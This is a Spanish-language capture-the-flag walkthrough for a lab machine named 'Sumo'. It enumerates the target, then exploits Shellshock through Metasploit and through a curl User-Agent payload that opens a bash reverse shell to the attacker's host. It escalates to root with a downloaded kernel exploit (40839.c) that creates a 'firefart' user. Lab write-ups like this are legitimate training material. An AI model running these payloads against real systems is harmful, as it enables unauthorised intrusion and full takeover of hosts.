# Sumo

### Enumeración #### Puertos abiertos Comenzamos realizando un escaneo rápido de los servicios que tiene abiertos está máquina. ``` nmap -p- --open --min-rate 5000 -Pn -n -vvv 192.168.59.87 ```

Puertos 22 (SSH) y 80 (HTTP) abiertos. Vamos a realizar un escaneo profundo de estos servicios. ``` nmap -p22,80 -sVC -vvv 192.168.59.87 ```

Servicios abiertos: * Puerto 22 -> SSH -> OpenSSH 5.9 * Puerto 80 -> HTTP -> Apache httpd 2.2.22 #### Enumeración Web Comenzamos viendo el contenido del servidor Web en el navegador.

Seguimos enumerando los directorios del sitio Web. ``` dirsearch -u "192.168.219.87" -i200,301,401,403 -t 30 ```

Por otro lado, mientras se ejecuta "dirsearch", ponemos a trabajar a "nikto" ya que estamos tratando con un servidor Web. ``` nikto -h 192.168.59.87 ```

Obtenemos información interesante.

El servidor es vulnerable a la vulnerabilidad de "shellshock". Vamos a ver el contenido del directorio "/cgi-bin/test.sh" en el navegador.

### Explotación #### Método 1 (Metasploit) ShellShock es una vulnerabilidad explotable por inyección de código. Vamos a explotar utilizando la herramienta "Metasploit". Utilizaremos el comando "search" para buscar todos los exploits de shellshock.

Tenemos un posible exploit candidato. Vamos a probarlo. Primero lo configuramos con los parámetros necesarios.

Ejecutamos.

Obtenemos acceso al directorio Web como "www-data". #### Método 2 (shell a través de User Agent) Otra forma de explotar la vulnerabilidad de "shellshock" es a través del envío de comandos a través de "User-Agent". Primero pondremos un nc a la escucha en el puerto 1337. Posteriormente, con curl lanzaremos la petición siguiente. ``` sudo curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.168.49.59/1337 0>&1' http://192.168.59.87/cgi-bin/test.sh ```

Ya tendremos conexión con la máquina objetivo de nuevo. Vamos a buscar la flag local.txt ``` find / -name local.txt ```

### Elevación de privilegios Comenzamos enumerando que puede ejecutar este usuario como "root" sin password.

Pero no tenemos password para ese usuario. Otra cosa que podemos hacer es enumerar la versión de kernel. ``` uname -a ```

Tenemos una versión 3.2.0 de ubuntu. Vamos a buscar vulnerabilidades para esta versión. ``` searchsploit linux kernel 3.2.0 ```

Tenemos como resultado el 40839.c. Vamos a descargarlo. ``` searchsploit -m 40839.c ``` Para ejecutar este exploit realizamos el siguiente proceso: 1. Ejecutamos un servidor HTTP con Python para transferir el exploit a la máquina objetivo. ``` python2 -m SimpleHTTPServer 80 ``` 2. Transferimos el exploit a la máquina víctima ``` wget http://192.168.45.5/40839.c ``` 3. Compilamos el archivo ``` gcc -pthread 40839.c -o exploit -lcrypt ```

Nos reportará este error. Esto se debe a que el PATH donde nos encontramos no es correcto, lo modificamos y volvemos a compilar el exploit. ``` PATH=PATH$:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/gcc/x86_64-linux-gnu/4.8/;export PATH ``` 4. Damos permisos de ejecución y ejecutamos ``` chmod +x exploit ./exploit ``` 5. Generamos una password

Ejecutamos y esperamos 1 minuto. Después de esto, consultamos los usuarios generados. ``` cat /etc/passwd ```

Ya tenemos generado el usuario nuevo. Ahora con este usuario y la contraseña introducida anteriormente deberiamos poder elevar a máximos privilegios. Pero antes, debemos convertir la tty en interactiva. ``` python -c 'import pty;pty.spawn("/bin/bash")' ```

Y ya tendremos conexión con el nuevo usuario creado, "firefart".

Y al mismo tiempo, tendremos privilegios como "root". Solo quedará buscar la flag proof.txt

{% embed url="" %}